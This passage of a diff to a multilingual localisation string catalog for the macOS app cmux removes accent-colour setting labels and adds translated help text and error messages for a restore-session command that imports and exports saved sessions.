{ - "stringUnit": { - "state": "translated", - "value": "أزرق cmux" - } - }, - "bs": { - "stringUnit": { - "state": "translated", - "value": "cmux plava" - } - }, - "da": { - "stringUnit": { - "state": "translated", - "value": "cmux-blå" - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "cmux-Blau" - } - }, - "en": { - "stringUnit": { - "state": "translated", - "value": "cmux Blue" - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "Azul de cmux" - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Bleu cmux" - } - }, - "it": { - "stringUnit": { - "state": "translated", - "value": "Blu cmux" - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "cmux ブルー" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "cmux 파란색" - } - }, - "nb": { - "stringUnit": { - "state": "translated", - "value": "cmux-blå" - } - }, - "pl": { - "stringUnit": { - "state": "translated", - "value": "Niebieski cmux" - } - }, - "pt-BR": { - "stringUnit": { - "state": "translated", - "value": "Azul do cmux" - } - }, - "ru": { - "stringUnit": { - "state": "translated", - "value": "Синий cmux" - } - }, - "th": { - "stringUnit": { - "state": "translated", - "value": "สีน้ำเงิน cmux" - } - }, - "tr": { - "stringUnit": { - "state": "translated", - "value": "cmux Mavisi" - } - }, - "uk": { - "stringUnit": { - "state": "translated", - "value": "Синій cmux" - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "cmux 蓝" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "cmux 藍" - } - } - } - }, - "settings.app.accentColor.subtitle": { - "localizations": { - "ar": { - "stringUnit": { - "state": "translated", - "value": "لون مساحة العمل المحددة وحلقة التنبيه وحالة الوكيل وإبرازات cmux الأخرى. يتبع خيار النظام لون التمييز في macOS." - } - }, - "bs": { - "stringUnit": { - "state": "translated", - "value": "Boja odabranog radnog prostora, prstena pažnje, statusa agenta i ostalih cmux istaknutih elemenata. Sistem prati boju naglaska macOS-a." - } - }, - "da": { - "stringUnit": { - "state": "translated", - "value": "Farve for det valgte arbejdsområde, opmærksomhedsringen, agentstatus og andre cmux-fremhævninger. System følger macOS-accentfarven." - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "Farbe des ausgewählten Workspace, des Aufmerksamkeitsrings, des Agentenstatus und anderer cmux-Hervorhebungen. „Systemfarbe“ folgt der macOS-Akzentfarbe." - } - }, - "en": { - "stringUnit": { - "state": "translated", - "value": "Color of the selected workspace, attention ring, agent status, and other cmux highlights. System follows the macOS accent color." - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "Color del espacio de trabajo seleccionado, el anillo de atención, el estado del agente y otros resaltados de cmux. Sistema sigue el color de acento de macOS." - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Couleur de l’espace de travail sélectionné, de l’anneau d’attention, de l’état de l’agent et des autres mises en évidence de cmux. Système suit la couleur d’accentuation de macOS." - } - }, - "it": { - "stringUnit": { - "state": "translated", - "value": "Colore dell’area di lavoro selezionata, dell’anello di attenzione, dello stato dell’agente e degli altri elementi evidenziati di cmux. Sistema segue il colore di evidenziazione di macOS." - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "選択中のワークスペース、注意リング、エージェントの状態など、cmux のハイライトの色です。「システム」は macOS のアクセントカラーに従います。" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "선택한 워크스페이스, 주의 링, 에이전트 상태 등 cmux 강조 표시의 색상입니다. 시스템은 macOS 강조 색상을 따릅니다." - } - }, - "nb": { - "stringUnit": { - "state": "translated", - "value": "Farge for det valgte arbeidsområdet, oppmerksomhetsringen, agentstatus og andre cmux-uthevinger. System følger macOS-aksentfargen." - } - }, - "pl": { - "stringUnit": { - "state": "translated", - "value": "Kolor wybranego obszaru roboczego, pierścienia uwagi, stanu agenta i innych wyróżnień cmux. Systemowy podąża za kolorem akcentu macOS." - } - }, - "pt-BR": { - "stringUnit": { - "state": "translated", - "value": "Cor do espaço de trabalho selecionado, do anel de atenção, do status do agente e de outros destaques do cmux. Sistema segue a cor de destaque do macOS." - } - }, - "ru": { - "stringUnit": { - "state": "translated", - "value": "Цвет выбранного рабочего пространства, кольца внимания, статуса агента и других выделений cmux. «Системный» следует цвету акцента macOS." - } - }, - "th": { - "stringUnit": { - "state": "translated", - "value": "สีของพื้นที่ทำงานที่เลือก วงแจ้งเตือน สถานะเอเจนต์ และไฮไลต์อื่นๆ ของ cmux ตัวเลือกระบบจะใช้สีเน้นของ macOS" - } - }, - "tr": { - "stringUnit": { - "state": "translated", - "value": "Seçili çalışma alanı, dikkat halkası, ajan durumu ve diğer cmux vurgularının rengi. Sistem, macOS vurgu rengini izler." - } - }, - "uk": { - "stringUnit": { - "state": "translated", - "value": "Колір вибраного робочого простору, кільця уваги, статусу агента та інших виділень cmux. «Системний» використовує колір акценту macOS." - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "所选工作区、提醒环、代理状态和其他 cmux 高亮的颜色。“系统”跟随 macOS 强调色。" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "所選工作區、提醒環、代理狀態和其他 cmux 醒目提示的顏色。「系統」跟隨 macOS 強調色。" - } - } - } - }, - "settings.app.accentColor.system": { - "localizations": { - "ar": { - "stringUnit": { - "state": "translated", - "value": "النظام" - } - }, - "bs": { - "stringUnit": { - "state": "translated", - "value": "Sistem" - } - }, - "da": { - "stringUnit": { - "state": "translated", - "value": "System" - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "Systemfarbe" - } - }, - "en": { - "stringUnit": { - "state": "translated", - "value": "System" - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "Sistema" - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Système" - } - }, - "it": { - "stringUnit": { - "state": "translated", - "value": "Sistema" - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "システム" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "시스템" - } - }, - "nb": { - "stringUnit": { - "state": "translated", - "value": "System" - } - }, - "pl": { - "stringUnit": { - "state": "translated", - "value": "Systemowy" - } - }, - "pt-BR": { - "stringUnit": { - "state": "translated", - "value": "Sistema" - } - }, - "ru": { - "stringUnit": { - "state": "translated", - "value": "Системный" - } - }, - "th": { - "stringUnit": { - "state": "translated", - "value": "ระบบ" - } - }, - "tr": { - "stringUnit": { - "state": "translated", - "value": "Sistem" - } - }, - "uk": { - "stringUnit": { - "state": "translated", - "value": "Системний" - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "系统" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "系統" - } - } - } - }, - "settings.app.accentColor.systemToggle": { - "localizations": { - "ar": { - "stringUnit": { - "state": "translated", - "value": "لون التمييز للنظام" - } - }, - "bs": { - "stringUnit": { - "state": "translated", - "value": "Sistemska boja naglaska" - } - }, - "da": { - "stringUnit": { - "state": "translated", - "value": "Systemets accentfarve" - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "System-Akzentfarbe" - } - }, - "en": { - "stringUnit": { - "state": "translated", - "value": "System Accent Color" - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "Color de acento del sistema" - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Couleur d’accentuation du système" - } - }, - "it": { - "stringUnit": { - "state": "translated", - "value": "Colore di evidenziazione di sistema" - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "システムのアクセントカラー" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "시스템 강조 색상" - } - }, - "nb": { - "stringUnit": { - "state": "translated", - "value": "Systemets aksentfarge" - } - }, - "pl": { - "stringUnit": { - "state": "translated", - "value": "Systemowy kolor akcentu" - } - }, - "pt-BR": { - "stringUnit": { - "state": "translated", - "value": "Cor de destaque do sistema" - } - }, - "ru": { - "stringUnit": { - "state": "translated", - "value": "Системный цвет акцента" - } - }, - "th": { - "stringUnit": { - "state": "translated", - "value": "สีเน้นของระบบ" - } - }, - "tr": { - "stringUnit": { - "state": "translated", - "value": "Sistem Vurgu Rengi" - } - }, - "uk": { - "stringUnit": { - "state": "translated", - "value": "Системний колір акценту" - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "系统强调色" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "系統強調色" - } - } - } - }, - "settings.search.alias.setting.app.accent-color": { - "localizations": { - "ar": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue لون التمييز أزرق النظام" - } - }, - "bs": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue boja naglaska plava sistem" - } - }, - "da": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue accentfarve blå system" - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue Akzentfarbe blau System" - } - }, - "en": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue" - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue color de acento azul sistema" - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue couleur d’accentuation bleu système" - } - }, - "it": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue colore di evidenziazione blu sistema" - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue アクセントカラー 青 システム" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue 강조 색상 파란색 시스템" - } - }, - "nb": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue aksentfarge blå system" - } - }, - "pl": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue kolor akcentu niebieski systemowy" - } - }, - "pt-BR": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue cor de destaque azul sistema" - } - }, - "ru": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue цвет акцента синий системный" - } - }, - "th": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue สีเน้น สีน้ำเงิน ระบบ" - } - }, - "tr": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue vurgu rengi mavi sistem" - } - }, - "uk": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue колір акценту синій системний" - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue 强调色 蓝色 系统" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "app.accentColor accent color highlight tint blue purple system accent macOS accent cmux blue 強調色 藍色 系統" - } - } - } - }, "command.shortcutKeymap.title": { "extractionState": "manual", "localizations": { @@ -566479,6 +565653,832 @@ } } } + }, + "cli.restoreSession.help": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Usage: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\nReopen the previous saved cmux session.\n\nIf the app is already running, this restores the last saved session into the current app.\nIf the app is not running, this launches cmux and lets startup restore reopen the saved session.\n\nEach cmux install (stable, nightly, rc, staging, tagged debug builds) saves its own session.\n--from <channel> Reopen another install's saved session in this running cmux, for example\n after trying nightly and switching back to stable. The session opens as\n additional windows; the other install's saved file is only read.\n--from <path> Reopen a session file written by --export.\n--export <path> Write this cmux's saved session to a file. Pass --force to replace an\n existing file.\n\n--from and --export require cmux to be running." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Verwendung: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\nDie zuletzt gespeicherte cmux-Sitzung erneut öffnen.\n\nLäuft die App bereits, wird die zuletzt gespeicherte Sitzung in der aktuellen App wiederhergestellt.\nLäuft die App nicht, wird cmux gestartet und die gespeicherte Sitzung beim Start wiederhergestellt.\n\nJede cmux-Installation (stable, nightly, rc, staging, getaggte Debug-Builds) speichert ihre eigene Sitzung.\n--from <channel> Die gespeicherte Sitzung einer anderen Installation in diesem laufenden cmux öffnen,\n z. B. nachdem Sie nightly ausprobiert haben und zu stable zurückkehren. Die Sitzung\n öffnet sich in zusätzlichen Fenstern; die Datei der anderen Installation wird nur gelesen.\n--from <path> Eine mit --export geschriebene Sitzungsdatei öffnen.\n--export <path> Die gespeicherte Sitzung dieses cmux in eine Datei schreiben. Mit --force wird eine\n vorhandene Datei ersetzt.\n\n--from und --export setzen ein laufendes cmux voraus." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Utilisation : cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\nRouvrir la dernière session cmux enregistrée.\n\nSi l'app est déjà ouverte, la dernière session enregistrée est restaurée dans l'app actuelle.\nSi l'app n'est pas ouverte, cmux est lancé et la restauration au démarrage rouvre la session enregistrée.\n\nChaque installation de cmux (stable, nightly, rc, staging, builds debug avec tag) enregistre sa propre session.\n--from <channel> Rouvrir la session enregistrée d'une autre installation dans ce cmux en cours, par exemple\n après avoir essayé nightly puis être revenu à stable. La session s'ouvre dans des fenêtres\n supplémentaires ; le fichier de l'autre installation est seulement lu.\n--from <path> Rouvrir un fichier de session écrit par --export.\n--export <path> Écrire la session enregistrée de ce cmux dans un fichier. Ajoutez --force pour remplacer\n un fichier existant.\n\n--from et --export nécessitent que cmux soit ouvert." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "Uso: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\nVuelve a abrir la última sesión guardada de cmux.\n\nSi la app ya está abierta, restaura la última sesión guardada en la app actual.\nSi la app no está abierta, inicia cmux y deja que la restauración de inicio vuelva a abrir la sesión guardada.\n\nCada instalación de cmux (stable, nightly, rc, staging, builds de depuración con etiqueta) guarda su propia sesión.\n--from <channel> Abre en este cmux la sesión guardada de otra instalación, por ejemplo después de\n probar nightly y volver a stable. La sesión se abre en ventanas adicionales; el archivo\n de la otra instalación solo se lee.\n--from <path> Abre un archivo de sesión escrito con --export.\n--export <path> Escribe en un archivo la sesión guardada de este cmux. Usa --force para reemplazar un\n archivo existente.\n\n--from y --export requieren que cmux esté abierto." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "使い方: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\n前回保存した cmux セッションを再度開きます。\n\nアプリがすでに起動している場合は、最後に保存したセッションを現在のアプリに復元します。\nアプリが起動していない場合は、cmux を起動し、起動時の復元で保存済みセッションを開きます。\n\ncmux の各インストール(stable、nightly、rc、staging、タグ付き debug ビルド)はそれぞれ独自のセッションを保存します。\n--from <channel> 別のインストールで保存したセッションを、起動中のこの cmux で開きます。たとえば nightly を\n 試したあと stable に戻る場合に使います。セッションは追加のウインドウとして開き、別の\n インストールのファイルは読み取るだけです。\n--from <path> --export で書き出したセッションファイルを開きます。\n--export <path> この cmux の保存済みセッションをファイルに書き出します。既存のファイルを置き換えるには\n --force を指定します。\n\n--from と --export を使うには cmux が起動している必要があります。" + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "الاستخدام: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\nأعد فتح آخر جلسة cmux محفوظة.\n\nإذا كان التطبيق يعمل بالفعل، فستُستعاد آخر جلسة محفوظة في التطبيق الحالي.\nإذا لم يكن التطبيق يعمل، فسيُشغَّل cmux وتعيد استعادة بدء التشغيل فتح الجلسة المحفوظة.\n\nيحفظ كل تثبيت من cmux (stable وnightly وrc وstaging وإصدارات debug الموسومة) جلسته الخاصة.\n--from <channel> افتح الجلسة المحفوظة لتثبيت آخر في cmux الذي يعمل الآن، مثلًا\n بعد تجربة nightly والعودة إلى stable. تُفتح الجلسة في\n نوافذ إضافية، ويُقرأ ملف التثبيت الآخر فقط.\n--from <path> افتح ملف جلسة كتبه الأمر --export.\n--export <path> اكتب الجلسة المحفوظة لهذا cmux في ملف. استخدم --force لاستبدال\n ملف موجود.\n\nيتطلب --from و--export أن يكون cmux قيد التشغيل." + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "用法: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\n重新開啟上次儲存的 cmux 工作階段。\n\n如果 App 已在執行,會將上次儲存的工作階段還原到目前的 App 中。\n如果 App 未執行,會啟動 cmux,並由啟動還原重新開啟已儲存的工作階段。\n\n每個 cmux 安裝(stable、nightly、rc、staging、帶標籤的 debug 建置)都會儲存自己的工作階段。\n--from <channel> 在執行中的 cmux 開啟另一個安裝儲存的工作階段,例如\n 試用 nightly 後切回 stable。工作階段會以\n 額外視窗開啟;另一個安裝的檔案只會被讀取。\n--from <path> 開啟由 --export 寫出的工作階段檔案。\n--export <path> 將此 cmux 儲存的工作階段寫入檔案。使用 --force 可取代\n 既有檔案。\n\n--from 和 --export 需要 cmux 正在執行。" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "用法: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\n重新打开上次保存的 cmux 会话。\n\n如果应用已在运行,会将上次保存的会话恢复到当前应用中。\n如果应用未运行,会启动 cmux,并由启动恢复重新打开保存的会话。\n\n每个 cmux 安装(stable、nightly、rc、staging、带标签的 debug 构建)都会保存自己的会话。\n--from <channel> 在正在运行的 cmux 中打开另一个安装保存的会话,例如\n 试用 nightly 后切回 stable。会话会以\n 额外窗口打开;另一个安装的会话文件只会被读取。\n--from <path> 打开由 --export 写出的会话文件。\n--export <path> 将此 cmux 保存的会话写入文件。使用 --force 可替换\n 已有文件。\n\n--from 和 --export 需要 cmux 正在运行。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "사용법: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\n마지막으로 저장된 cmux 세션을 다시 엽니다.\n\n앱이 이미 실행 중이면 마지막으로 저장된 세션을 현재 앱에 복원합니다.\n앱이 실행 중이 아니면 cmux를 실행하고 시작 복원이 저장된 세션을 다시 열도록 합니다.\n\n각 cmux 설치(stable, nightly, rc, staging, 태그가 지정된 debug 빌드)는 자체 세션을 저장합니다.\n--from <channel> 다른 설치에 저장된 세션을 실행 중인 이 cmux에서 엽니다. 예를 들어\n nightly를 사용해 본 뒤 stable로 돌아올 때 사용합니다. 세션은\n 추가 창으로 열리며, 다른 설치의 파일은 읽기만 합니다.\n--from <path> --export로 작성한 세션 파일을 엽니다.\n--export <path> 이 cmux에 저장된 세션을 파일로 씁니다. 기존 파일을 바꾸려면\n --force를 사용하세요.\n\n--from과 --export를 사용하려면 cmux가 실행 중이어야 합니다." + } + } + } + }, + "session.export.error.destinationExists": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%@ already exists. Pass --force to replace it." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "%@ موجود بالفعل. استخدم --force لاستبداله." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%@ ist bereits vorhanden. Verwenden Sie --force, um die Datei zu ersetzen." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "%@ ya existe. Usa --force para reemplazarlo." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "%@ existe déjà. Ajoutez --force pour le remplacer." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ はすでに存在します。置き換えるには --force を指定してください。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 파일이 이미 있습니다. 바꾸려면 --force를 사용하세요." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "%@ 已存在。使用 --force 以替换它。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "%@ 已存在。使用 --force 以取代它。" + } + } + } + }, + "session.export.error.destinationIsLive": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%@ is this cmux's own session file. Choose another path." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "%@ هو ملف الجلسة الخاص بهذا الـ cmux. اختر مسارًا آخر." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%@ ist die eigene Sitzungsdatei dieses cmux. Wählen Sie einen anderen Pfad." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "%@ es el archivo de sesión de este cmux. Elige otra ruta." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "%@ est le fichier de session de ce cmux. Choisissez un autre chemin." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ はこの cmux 自身のセッションファイルです。別のパスを指定してください。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 파일은 이 cmux의 세션 파일입니다. 다른 경로를 선택하세요." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "%@ 是此 cmux 自己的会话文件。请选择其他路径。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "%@ 是此 cmux 本身的工作階段檔案。請選擇其他路徑。" + } + } + } + }, + "session.export.error.noSnapshot": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "cmux has not saved a session yet. Try again in a few seconds." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "لم يحفظ cmux أي جلسة بعد. حاول مرة أخرى بعد بضع ثوانٍ." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "cmux hat noch keine Sitzung gespeichert. Versuchen Sie es in ein paar Sekunden erneut." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "cmux aún no ha guardado ninguna sesión. Inténtalo de nuevo en unos segundos." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "cmux n'a pas encore enregistré de session. Réessayez dans quelques secondes." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "cmux はまだセッションを保存していません。数秒後にもう一度お試しください。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "cmux가 아직 세션을 저장하지 않았습니다. 몇 초 후에 다시 시도하세요." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "cmux 尚未保存会话。请几秒后再试。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "cmux 尚未儲存工作階段。請過幾秒再試一次。" + } + } + } + }, + "session.export.error.writeFailed": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Could not write %@." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "تعذّرت كتابة %@." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%@ konnte nicht geschrieben werden." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "No se pudo escribir %@." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Impossible d'écrire %@." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ を書き込めませんでした。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 파일을 쓸 수 없습니다." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "无法写入 %@。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "無法寫入 %@。" + } + } + } + }, + "session.import.error.fileNotFound": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "No saved cmux session at %@." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "لا توجد جلسة cmux محفوظة في %@." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Unter %@ gibt es keine gespeicherte cmux-Sitzung." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "No hay ninguna sesión de cmux guardada en %@." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Aucune session cmux enregistrée à l'emplacement %@." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ に保存された cmux セッションはありません。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 위치에 저장된 cmux 세션이 없습니다." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "%@ 没有已保存的 cmux 会话。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "%@ 沒有已儲存的 cmux 工作階段。" + } + } + } + }, + "session.import.error.newerSchema": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%1$@ was saved by a newer cmux (session format %2$@, this cmux reads %3$@). Update cmux to import it." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "حُفظ %1$@ بواسطة إصدار أحدث من cmux (تنسيق الجلسة %2$@، ويقرأ هذا الـ cmux التنسيق %3$@). حدّث cmux لاستيراده." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%1$@ wurde von einem neueren cmux gespeichert (Sitzungsformat %2$@, dieses cmux liest %3$@). Aktualisieren Sie cmux, um die Datei zu importieren." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "%1$@ se guardó con un cmux más reciente (formato de sesión %2$@; este cmux lee el %3$@). Actualiza cmux para importarlo." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "%1$@ a été enregistré par une version plus récente de cmux (format de session %2$@, ce cmux lit le format %3$@). Mettez cmux à jour pour l'importer." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%1$@ は新しい cmux で保存されています(セッション形式 %2$@、この cmux が読める形式は %3$@)。読み込むには cmux をアップデートしてください。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%1$@ 파일은 더 새로운 cmux에서 저장되었습니다(세션 형식 %2$@, 이 cmux는 %3$@ 형식을 읽음). 가져오려면 cmux를 업데이트하세요." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "%1$@ 由较新版本的 cmux 保存(会话格式 %2$@,此 cmux 读取 %3$@)。请更新 cmux 后再导入。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "%1$@ 是由較新版本的 cmux 儲存(工作階段格式 %2$@,此 cmux 讀取 %3$@)。請更新 cmux 後再匯入。" + } + } + } + }, + "session.import.error.noWindows": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%@ has no windows to restore." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "لا يحتوي %@ على نوافذ لاستعادتها." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%@ enthält keine Fenster zum Wiederherstellen." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "%@ no tiene ventanas que restaurar." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "%@ ne contient aucune fenêtre à restaurer." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ には復元できるウインドウがありません。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 파일에 복원할 창이 없습니다." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "%@ 没有可恢复的窗口。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "%@ 沒有可還原的視窗。" + } + } + } + }, + "session.import.error.notASnapshot": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%@ is not a cmux session snapshot." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "%@ ليس لقطة جلسة cmux." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%@ ist keine cmux-Sitzungsdatei." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "%@ no es una instantánea de sesión de cmux." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "%@ n'est pas un instantané de session cmux." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ は cmux のセッションスナップショットではありません。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 파일은 cmux 세션 스냅샷이 아닙니다." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "%@ 不是 cmux 会话快照。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "%@ 不是 cmux 工作階段快照。" + } + } + } + }, + "session.import.error.nothingRestored": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Nothing in %@ could be reopened." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "تعذّر إعادة فتح أي شيء من %@." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Aus %@ konnte nichts wieder geöffnet werden." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "No se pudo volver a abrir nada de %@." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": 